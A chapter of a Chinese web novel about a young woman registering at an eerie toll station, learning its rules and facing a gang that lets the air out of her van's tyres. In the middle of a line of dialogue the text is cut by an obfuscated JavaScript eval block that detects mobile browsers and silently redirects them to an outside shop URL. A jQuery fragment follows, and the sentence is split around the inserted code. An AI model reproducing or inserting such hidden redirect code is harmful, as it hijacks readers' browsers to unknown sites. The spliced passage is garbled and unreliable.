姜迟捏着黑皮本子，站在车边，把那一页翻来覆去看了三遍。
两次。历史登记记录，两次。
她把本子合上，又打开。字还在那，不是眼花。
“喂，那新来的。”亭子里的喇叭又响了，“别堵着通道，往里停，登记楼是左边那栋二层小楼，看见没有，挂牌子的。”
姜迟深吸一口气，把本子揣进兜里。
先办事。这事记下来，回头再查。
她下了车，锁门。走出两步又回来，把副驾上的扳手别在了腰后，外套一罩。这地方人多，人多就有眼杂，留个心眼不亏。
车厢里还坐着八个人。她锁车的时候往里看了一眼，隔板的缝隙里黑漆漆的，什么动静也没有。老太太不哭了，婴儿也不哭了，安静得像八个人全睡着了。
她贴着车门说了一句：“都待着，别乱动。”
里面没人应。
登记楼是一栋二层小楼，门口挂着白底黑字的牌子：行者登记处。楼里灯很亮，一进门是个大厅，柜台后面坐着个女的，四十来岁，烫着卷发，正在织毛衣。
“办登记？”女的头也没抬。
“嗯。”
“证呢？”
姜迟把黑皮本子递过去。女的接过去，翻开，扫了一眼，织毛衣的手停了。
她抬起头，把姜迟从头到脚看了一遍。
“姜？”她问。
“姜迟。”
“哪个迟？”
“迟到的迟。”
女的把本子翻来覆去看了看，又凑到灯下，看了看封皮内侧，那里有一行很小的钢印。
她看完，把本子放回柜台，从抽屉里翻出一个登记簿。
登记簿是那种老式的，纸页发黄，线装的。
“伸手。”女的抽出一支笔，“按个手印也行。”
姜迟按了手印。女的把登记簿转过来，让她看。
“核对一下信息。姓名，姜迟。载具，厢式货车，尾号3741。行者代数。”她顿了顿，念出来，“第三代。”
“这个代数是什么意思？”
“祖宗传下来的意思。”女的把登记簿收回去，“你家有人跑过这条路，证就是一代一代传的。传到你是第三代。证上写得很清楚。”
“我家里没人跑过车。”姜迟说，“我爸是木匠。”
女的抬起眼皮看了她一眼，那眼神说不上是什么意思，有点同情，又有点见怪不怪。
“来这的新人都这么说。”她说，“登记完成，给你说说规矩。听着就行，别问，问了我也答不上。”
她伸出一根手指：“第一，收费站里不许动手，动手的，不管谁有理，两个人一起扔出去。扔出去的意思就是赶上路，路上什么待遇你自己清楚。”
第二根手指：“第二，你的车停在站内，安全。出了站，死活自负。站里有人收保护费，别给，给了就收不住。”
第三根手指：“第三，三日之内接满三单，这是死规矩，超了时辰，注销。注销什么意思知道吧？就是没你这个人了。你今天第几天？”
“第二天。”
“那你还剩两天。”女的把本子递还给她，“喏，你的证升级了。能看点别人看不见的东西了吧？别声张。站里什么人都有。”
姜迟接过本子，心里一动：“大姐，你怎么知道我。”
“我在这登记了十一年。”女的打断她，“什么样的新人没见过。你这种眼神的，是看得见东西的。行了，去吧，对面修理铺老周，车有任何毛病找他，价格公道。买东西找陈三金，那小子滑头，对半砍。住宿上二楼，一晚一个积分，积分接单挣。”
姜迟谢了她，出了登记楼。
大厅门口贴着一张告示，她扫了一眼，是积分规则。
按时送达一单，一个积分。
无货损，加一个。
检举黑车队，加五个。
末尾还有一行：收购来路不明的货，一经查实，销证。
她站在告示前看的时候，身后有人过来了。
“妹子，新面孔啊。”
一个矮胖男人凑了过来，三十来岁，穿着花衬衫，脖子上挂着一条金链子，金链子在灯下闪着假光。他手里捏着一把瓜子，边嗑边打量她。
“刚登记完？”矮胖男问，“接了几单了？”
“两单。”
“可以啊，第二天就两单。”矮胖男凑近了些，压低声音，“哥的给你的经验，这站里啊，消息比积分值钱。比如你现在，第二单还没送完吧？拉的人？”
姜迟没答话。
“别紧张。”矮胖男笑了，露出被瓜子染黑的牙，“我叫陈三金，做点小买卖。站里谁不知道我，童叟无欺。你看，你车上那一车人，送到哪去？”
“不知道，收货地没解锁。”
“没解锁就对了。”陈三金一拍大腿，“人单的收货地，从来都是送到半路才解锁。哥再跟你说个事，你猜为什么？”
“为什么？”
“因为人单真正要送的，不是人。”陈三金凑到她耳朵边上，声音压得只有两个人能听见，“是把人送到能收他们的地方。那收货地哪是收货地，那是挑货的地方。送到半路解锁，是让你别早看，早看了你容易跑。”
姜迟看着他：“你知道得挺多。”
“吃这碗饭的。”陈三金把瓜子皮吐了，“哥卖你个消息，三积分。你第二单那八个乘客里，有一个不是人。你要是信哥，待会儿发车前，哥带你去验一验。”
“免费的吧？”姜迟说，“你刚才说，消息比积分值钱。”
陈三金愣了一下，随即大笑：“行啊妹子，上道。免费的消息给你一条，当见面礼。你车停在东边那排对吧？”
“对。”
“挪走。”陈三金脸上的笑收了，“你这刚登记的，证都是新的，盯着新车的人多了。刚才你登记那工夫，至少有四个人过去看你的车了。看见你车胎没有，气都没给你留足。”
姜迟心里一紧，转身就走。
她快步穿过停车场，走到自己车跟前。车还在，锁还好好的。她绕到右边，蹲下来看右前胎。
胎是瘪的。
她记得清清楚楚，进收费站之前，四个胎都气足。这一路也没扎过什么。她伸手按了按胎面，气是被放的，气门芯松着。
“哟，新车啊。”
身后传来一个声音。
姜迟站起身，转过头。
三个男人站在她车后面，领头的是个光头，胳膊上纹着一条青龙，纹身的颜色都晕开了。
另外两个一个瘦高，一个矮壮，三个人都叼着烟，正围着她的车尾转。
“刚提的车？”光头问，“公里数多少？”
“没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947442|214093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看。”姜迟说。
“我们帮你看看？”矮壮的那个伸手就去摸车厢的锁。
“别碰。”姜迟说。
矮壮的手停在半空，三个人同时笑了。
“脾气不小。”光头把烟吐在地上，碾了碾，“妹子，新来的不懂规矩，哥几个教你。这站里停车，是要交看车费的。一天两个积分。你这车嘛，新车，胎又足，一个月，三十积分，哥几个帮你看着，保证一根毛都不少。”
“刚才我的胎被放了气。”姜迟说，“是你们放的吧？”
“话不能乱说。”光头笑得更开了，“胎自己漏的，跟我们有什么关系？”
“想收钱，总得拿出点本事。”姜迟说，“收费站里不许动手，这是规矩。你们在这堵着我，就不怕我喊一声，大家一起被扔出去？”
光头的笑淡了淡。
“妹子，你打听打听。”他说，“黑车队在这站里，还没人敢这么说话。”
黑车队。
姜迟记住这个词了。告示上写着，检举黑车队，加五个积分。
“行，我知道了。”她说，“你们走吧。”
“走？”光头往前迈了一步，“哥几个大老远来的，你就这句？”
“那你想听哪句？”
一个苍老的声音从旁边传来。
姜迟侧头看去，是个老头，六十来岁，穿着一身油渍麻花的工装，一条腿不太利索，走路的时候微微拖着。
他手里拎着个工具箱，从旁边的修理铺出来，慢慢走到跟前。
“老周。”光头看见他，脸色变了变，“这没你的事。”
“修理铺门口，怎么没我的事。”被叫老周的老头把工具箱往地上一放，“这丫头的车胎是你放的，我看见了。气门芯还在你那兄弟兜里揣着呢。要不要现在掏出来对一对？”
矮壮的下意识捂了捂口袋。
“行，老周，你行。”光头点了点头，“咱们走着瞧。”
他带着两个人走了，走出十几米，回头又看了姜迟的车一眼，那眼神跟刚才陈三金说的一样，盯着的是新车。
人走了，姜迟冲老周点了点头：“谢谢大爷。”
“谢什么。”老周拎起工具箱，“胎我给你补。搬个凳子坐着等，十分钟。”
姜迟去修理铺搬了个凳子，坐在门口。老周干活麻利，千斤顶支起来，拆胎，补胎，动作一气呵成。
他话不多，姜迟也不多话，两个人就这么安安静静的，一个干活，一个坐着。
胎补好了，老周把胎装回去，拧紧最后一颗螺丝，忽然开口。
“丫头。”
“嗯？”
“你刚才按手印的时候，”老周头也不抬，“登记簿翻到你那页，我看见你上面的名字了。”
姜迟的心跳漏了一拍。
“我上面是谁？”
老周把扳手放下，抬起头看她。他的眼睛在灯下显得很深。
“我不认识字。”他说，“但是那个名字，我认得。”
“那是我爸？”
老周沉默了几秒，站起身，把工具箱拎起来。
“去把车开过来，停我铺子后头。”他说，“后头有院子，上锁。你那车停外头，今晚就得丢。”
他顿了顿，又补了一句。
“你爸欠我一顿饭。他闺女来了，这顿饭，你还。”